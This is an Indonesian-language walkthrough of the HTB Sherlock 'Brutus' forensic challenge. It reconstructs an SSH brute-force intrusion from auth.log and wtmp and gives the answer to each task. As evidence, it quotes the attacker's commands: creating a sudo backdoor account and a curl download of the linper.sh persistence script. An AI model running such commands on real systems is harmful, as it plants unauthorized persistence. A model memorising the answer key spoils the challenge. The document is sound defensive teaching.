Brutus — HTB Sherlock: Linux Log Forensics
Analisis forensik log Linux pada kasus brute force SSH — mencakup identifikasi attacker, timeline rekonstruksi, persistence analysis, dan MITRE ATT&CK mapping.
Challenge Overview
Brutus adalah challenge forensik yang mengangkat skenario umum di dunia nyata: sebuah server Linux mengalami brute force attack via SSH. Setelah berhasil masuk, attacker melakukan serangkaian aktivitas lanjutan yang dapat direkonstruksi melalui analisis log.
Skill yang Dilatih
- Unix Log Analysis
- SSH Brute Force Detection
- Timeline Reconstruction
- Persistence Analysis
- MITRE ATT&CK Mapping
Artifact Overview
Pola Failed password berulang dari IP yang sama
| Artefak | Tipe | Fungsi |
|---|---|---|
auth.log | Text | Riwayat autentikasi sistem (SSH, sudo, user management) |
wtmp | Binary | Riwayat sesi login/logout terminal |
utmp.py | Script | Helper untuk membaca wtmp lintas arsitektur |
auth.log
File teks yang mencatat seluruh aktivitas autentikasi pada sistem Linux:
- SSH login attempts (berhasil maupun gagal)
- Penggunaan
sudo - Pembuatan user baru & privilege escalation
Struktur umum satu baris log:
1
[Timestamp] [Hostname] [Service/PID] [Status] [Username] [IP] [Detail]
Contoh entri brute force:
1
Mar 06 06:31:33 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
wtmp
File binary berisi riwayat sesi login/logout. Tidak bisa dibaca langsung — gunakan:
1
2
3
4
5
# Native Linux
last -f wtmp
# Helper script (challenge)
python3 utmp.py -o wtmp.out wtmp
Catatan penting: Authentication time ≠ Session start time. Inilah mengapa
wtmpkrusial untuk validasi timeline.
Investigation & Findings
Task 1 — Attacker IP Address
Brute force dapat diidentifikasi dari pola berikut di auth.log:
- Entri
Failed passworddalam jumlah sangat banyak - Dari IP yang sama
- Dalam jeda waktu sangat singkat (tidak mungkin manual)
1
2
3
Mar 06 06:31:31 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
Mar 06 06:31:33 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
Mar 06 06:31:35 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
Answer:
65.2.161.68
Task 2 — Compromised Account
Indikator keberhasilan brute force adalah adanya log:
1
Accepted password for root from 65.2.161.68
Attacker berhasil login sebagai user dengan privilege tertinggi.
Entri “Accepted password” menandakan brute force berhasil
Answer:
root
Task 3 — Interactive Login Timestamp (UTC)
Analisis wtmp diperlukan untuk membedakan waktu autentikasi dan waktu sesi terminal aktif secara nyata.
Answer:
2024-03-06 06:32:45 UTC
Task 4 — SSH Session Number
Setiap koneksi SSH mendapatkan session ID unik yang tercatat di auth.log. Session ID digunakan untuk melacak kapan sesi dimulai dan berakhir.
Session ID 37 pada entri login root
Answer:
37
Task 5 — Persistence Account
Setelah mendapatkan akses root, attacker membuat user baru sebagai backdoor persistence:
1
2
useradd cyberjunkie
usermod -aG sudo cyberjunkie
Log pembuatan user dan penambahan ke grup sudo
Answer:
cyberjunkie
Task 6 — MITRE ATT&CK Mapping
Pembuatan akun lokal untuk persistence diklasifikasikan sebagai:
| Field | Value |
|---|---|
| Tactic | Persistence |
| Technique | Create Account (T1136) |
| Sub-technique | Local Account |
T1136.001 pada MITRE ATT&CK Enterprise Matrix
Answer:
T1136.001
Task 7 — End of First SSH Session
Session ID 37 ditutup berdasarkan log auth.log pada:
Entri penutupan sesi SSH ID 37
Answer:
2024-03-06 06:37:24
Durasi sesi pertama: ±4 menit 39 detik — singkat, konsisten dengan aktivitas otomatisasi.
Task 8 — Post Exploitation Activity
Perintah curl via sudo tercatat di auth.log
Attacker login kembali menggunakan akun cyberjunkie, lalu mengeksekusi perintah via sudo:
1
/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
Script eksternal dari GitHub ini kemungkinan digunakan untuk privilege enumeration, persistence reinforcement, dan lateral movement preparation.
Answer:
/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh
✅ Kesimpulan
Pertama, brute force attack masih menjadi ancaman nyata, terutama pada sistem yang tidak menerapkan hardening seperti rate limiting, fail2ban, atau key-based authentication.
Kedua, memahami perbedaan antara authentication log dan session log sangat krusial dalam membangun timeline yang akurat. auth.log memberi tahu kita kapan kredensial diterima, sedangkan wtmp memberi tahu kapan sesi benar-benar aktif.
Ketiga, persistence tidak selalu kompleks. Terkadang, teknik sederhana seperti membuat akun lokal baru dan menambahkannya ke grup sudo sudah cukup untuk mempertahankan akses.
Kita melihat bagaimana sebuah serangan brute force terhadap layanan SSH dapat berkembang menjadi kompromi penuh terhadap sistem. Dimulai dari percobaan login masif, berlanjut ke keberhasilan autentikasi sebagai root, kemudian diikuti dengan pembuatan akun baru untuk persistence, hingga eksekusi perintah menggunakan sudo untuk mengunduh script tambahan.
Seringkali, sebuah insiden besar dimulai dari satu hal yang sederhana — sebuah password yang berhasil ditebak.













